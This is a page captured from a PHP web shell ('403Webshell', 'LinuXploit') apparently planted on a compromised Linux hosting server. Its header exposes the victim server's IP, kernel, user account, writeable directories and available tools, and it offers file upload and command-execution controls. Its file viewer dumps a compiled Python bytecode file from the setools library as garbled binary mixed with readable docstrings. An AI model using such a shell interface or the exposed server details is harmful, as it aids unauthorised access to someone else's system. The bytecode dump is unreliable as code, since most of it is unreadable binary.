- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.191.192.250
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib64/python3.6/site-packages/setools/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.6/site-packages/setools/__pycache__/util.cpython-36.pyc
3

�^D�@s<dd�Zdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�ZdS)cCs"|rt|jt|���S||kSdS)z�
    Match the object with optional regular expression.

    Parameters:
    obj         The object to match.
    criteria    The criteria to match.
    regex       If regular expression matching should be used.
    N)�bool�search�str)�obj�criteria�regex�r�/usr/lib64/python3.6/util.py�match_regexs
r	cCs|r||kSt|j|��SdS)a
    Match the object (a set) with optional set equality.

    Parameters:
    obj         The object to match. (a set)
    criteria    The criteria to match. (a set)
    equal       If set equality should be used. Otherwise
                any set intersection will match.
    N)r�intersection)rr�equalrrr�	match_set%srcs"|r�fdd�|D�S�|kSdS)z�
    Match if the criteria is in the list, with optional
    regular expression matching.

    Parameters:
    obj         The object to match.
    criteria    The criteria to match.
    regex       If regular expression matching should be used.
    csg|]}�jt|��r|�qSr)rr)�.0�m)rrr�
<listcomp>Bsz match_in_set.<locals>.<listcomp>Nr)rrrr)rr�match_in_set6srcsF|r6|r�fdd�|j�D�St�j��j|j��Snt|�|�SdS)aK
    Match the object with optional regular expression and indirection.

    Parameters:
    obj         The object to match.
    criteria    The criteria to match.
    regex       If regular expression matching should be used.
    indirect    If object indirection should be used, e.g.
                expanding an attribute.
    csg|]}�jt|��r|�qSr)rr)r
�o)rrrrUsz(match_indirect_regex.<locals>.<listcomp>N)�expand�setr
r	)rrZindirectrr)rr�match_indirect_regexGs
rcs*|r�fdd�|D�St|t��|�SdS)a"
    Match the object (a set) with either set comparisons
    (equality or intersection) or by regex matching of the
    set members.  Regular expression matching will override
    the set equality option.

    Parameters:
    obj         The object to match. (a set)
    criteria    The criteria to match.
    equal       If set equality should be used.  Otherwise
                any set intersection will match. Ignored
                if regular expression matching is used.
    regex       If regular expression matching should be used.
    csg|]}�jt|��r|�qSr)rr)r
r)rrrrmsz&match_regex_or_set.<locals>.<listcomp>N)rr)rrrrr)rr�match_regex_or_set\srcCs|rX|j|jko|jknpV|j|jko:|jknpV|j|jkoV|j|jkS|r�|r�|j|jkrx|j|jkp�|j|jko�|j|jkS|j|jko�|j|jkSnp|�r|r�|j|jkr�|j|jkp�|j|jko�|j|jkS|j|jk�o�|j|jkSn|j|jk�o|j|jkSdS)aR
    Match ranges of objects.

    obj         An object with attributes named "low" and "high", representing the range.
    criteria    An object with attributes named "low" and "high", representing the criteria.
    subset      If true, the criteria will match if it is a subset obj's range.
    overlap     If true, the criteria will match if it overlaps any of the obj's range.
    superset    If true, the criteria will match if it is a superset of the obj's range.
    proper      If true, use proper superset/subset operations.
                No effect if not using set operations.
    N)ZlowZhigh)rrZsubsetZoverlapZsupersetZproperrrr�match_rangers
rcCs0|r||kS|r||kS|r$||AS||kSdS)aX
    Match the an MLS level.

    obj         The level to match.
    criteria    The criteria to match. (a level)
    dom         If true, the criteria will match if it dominates obj.
    domby       If true, the criteria will match if it is dominated by obj.
    incomp      If true, the criteria will match if it is incomparable to obj.
    Nr)rrZdomZdombyZincomprrr�match_level�srN)r	rrrrrrrrrr�<module>s!

Youez - 2016 - github.com/yon3zu
LinuXploit